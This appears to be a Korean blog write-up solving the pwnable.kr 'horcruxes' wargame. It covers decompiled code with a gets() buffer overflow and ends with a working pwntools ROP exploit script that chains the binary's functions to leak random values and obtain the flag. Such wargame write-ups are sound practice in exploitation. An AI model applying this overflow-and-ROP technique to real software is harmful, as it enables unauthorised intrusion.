포너블 바이너리 공짜 다운로드 ->
scp -P 2222 horcruxes@pwnable.kr:/home/horcruxes/horcruxes ./
Analysis
flag 획득 방법 : ropme() 함수에서 입력하는 숫자와 sum 변수의 값이 일치하면 flag가 출력됨.
main()
각종 보호기법 추가 및 세팅
더보기
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+Ch] [ebp-Ch]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
alarm(0x3Cu);
hint();
init_ABCDEFG();
v4 = seccomp_init(0);
seccomp_rule_add(v4, 0x7FFF0000, 173, 0);
seccomp_rule_add(v4, 0x7FFF0000, 5, 0);
seccomp_rule_add(v4, 2147418112, 3, 0);
seccomp_rule_add(v4, 2147418112, 4, 0);
seccomp_rule_add(v4, 2147418112, 252, 0);
seccomp_load(v4);
return ropme();
}
ropme()
우리가 입력하는 숫자가 랜덤으로 배치되어 합쳐진 sum 값과 똑같아야 flag 표시
더보기
int ropme()
{
char s[100]; // [esp+4h] [ebp-74h] BYREF
int v2; // [esp+68h] [ebp-10h] BYREF
int fd; // [esp+6Ch] [ebp-Ch]
printf("Select Menu:");
__isoc99_scanf("%d", &v2);
getchar();
if ( v2 == a )
{
A();
}
else if ( v2 == b )
{
B();
}
else if ( v2 == c )
{
C();
}
else if ( v2 == d )
{
D();
}
else if ( v2 == e )
{
E();
}
else if ( v2 == f )
{
F();
}
else if ( v2 == g )
{
G();
}
else
{
printf("How many EXP did you earned? : ");
gets(s);
if ( atoi(s) == sum )
{
fd = open("flag", 0);
s[read(fd, s, 0x64u)] = 0;
puts(s);
close(fd);
exit(0);
}
puts("You'd better get more experience to kill Voldemort");
}
return 0;
}
우리가 입력하는 숫자가 랜덤으로 배치되어 합쳐진 sum 값과 똑같아야 flag 표시
그외 문제 세팅의 함수들 -> 더보기 참조
더보기
init_ABCDEFG()
init_ABCDEFG() 함수는 main() 함수 안에서 초기 세팅이 되며
int init_ABCDEFG()
{
int result; // eax
unsigned int buf; // [esp+8h] [ebp-10h] BYREF
int fd; // [esp+Ch] [ebp-Ch]
fd = open("/dev/urandom", 0);
if ( read(fd, &buf, 4u) != 4 )
{
puts("/dev/urandom error");
exit(0);
}
close(fd);
srand(buf);
a = 0xDEADBEEF * rand() % 0xCAFEBABE;
b = 0xDEADBEEF * rand() % 0xCAFEBABE;
c = 0xDEADBEEF * rand() % 0xCAFEBABE;
d = 0xDEADBEEF * rand() % 0xCAFEBABE;
e = 0xDEADBEEF * rand() % 0xCAFEBABE;
f = 0xDEADBEEF * rand() % 0xCAFEBABE;
g = 0xDEADBEEF * rand() % 0xCAFEBABE;
result = f + e + d + c + b + a + g;
sum = result;
return result;
}
hint()
hint() - 볼드모트는 7개의 호크룩스 안에 영혼을 숨겼으니, 모든 호크룩스를 찾아서 파괴할 것
int hint()
{
puts("Voldemort concealed his splitted soul inside 7 horcruxes.");
return puts("Find all horcruxes, and destroy it!\n");
}
A~G함수
int A()
{
return printf("You found \"Tom Riddle's Diary\" (EXP +%d)\n", a);
}
int B()
{
return printf("You found \"Marvolo Gaunt's Ring\" (EXP +%d)\n", b);
}
int C()
{
return printf("You found \"Helga Hufflepuff's Cup\" (EXP +%d)\n", c);
}
int D()
{
return printf("You found \"Salazar Slytherin's Locket\" (EXP +%d)\n", d);
}
int E()
{
return printf("You found \"Rowena Ravenclaw's Diadem\" (EXP +%d)\n", e);
}
int F()
{
return printf("You found \"Nagini the Snake\" (EXP +%d)\n", f);
}
int G()
{
return printf("You found \"Harry Potter\" (EXP +%d)\n", g);
}
sum 값은 모두 /dev/urandom 에서 들고 오며 아래 과정으로 만들어진다.
srand(buf);
a = 0xDEADBEEF * rand() % 0xCAFEBABE;
b = 0xDEADBEEF * rand() % 0xCAFEBABE;
c = 0xDEADBEEF * rand() % 0xCAFEBABE;
d = 0xDEADBEEF * rand() % 0xCAFEBABE;
e = 0xDEADBEEF * rand() % 0xCAFEBABE;
f = 0xDEADBEEF * rand() % 0xCAFEBABE;
g = 0xDEADBEEF * rand() % 0xCAFEBABE;
result = f + e + d + c + b + a + g;
sum = result;
당연한 소리겠지만 동적분석으로 찍어보면 a~g값은 모두 다른 값으로 들어간다.
이 값들을 출력하려면 각각 함수들을 실행흐름에 넣어야한다.
; Attributes: bp-based frame
; int E()
public E
E proc near
; __unwind {
push ebp
mov ebp, esp
sub esp, 8
mov eax, ds:e
sub esp, 8
push eax
push offset aYouFoundRowena ; "You found \"Rowena Ravenclaw's Diadem\""...
call _printf
add esp, 10h
nop
leave
retn
; } // starts at 809FEC7
E endp
E함수를 레퍼런스로 들고 왔는데
ds:a ~ ds:g 주소에 우리가 원하는 값을 갖고 있고 printf로 출력해준다.
Exploit
1. A~G 함수를 모두 touch 한다.
그래서 그냥 모든 곳을 다 가게 함수 주소를 넣었다.
랜덤 값들이 출력되는걸 적으면 되지 않나?
예 그래서 해줬습니다.
from pwn import *
# ssh horcruxes@pwnable.kr -p2222 (pw:guest)
p = remote('pwnable.kr', 9032)
#context.log_level = 'debug'
a = 0x0809fe4b
b = 0x0809fe6a
c = 0x0809fe89
d = 0x0809fea8
e = 0x0809fec7
f = 0x0809fee6
g = 0x0809ff05
ropme = 0x809fffc
buf = b"A"* 120
buf += p32(a) + p32(b) + p32(c) + p32(d) + p32(e) + p32(f) + p32(g)
buf += p32(ropme)
p.sendlineafter(b"Menu:", b"1")
p.sendlineafter(b"earned? :", buf)
sum = 0
for i in range(7):
p.recvuntil(b"(EXP +")
sum += int(p.recvuntil(b")")[:-1])
print("sum ->", sum)
p.sendlineafter(b"Menu:", b"1")
p.sendlineafter(b"earned? :", str(sum).encode())
p.interactive()
정말로 아주 쉽고 간단한 문제네요.
'Wargame > pwnable.kr' 카테고리의 다른 글
[Pwnable] unlink 시각화하면서 천천히 풀기 (0) | 2024.08.09 |
---|---|
[Pwnable] blukat (0) | 2024.06.20 |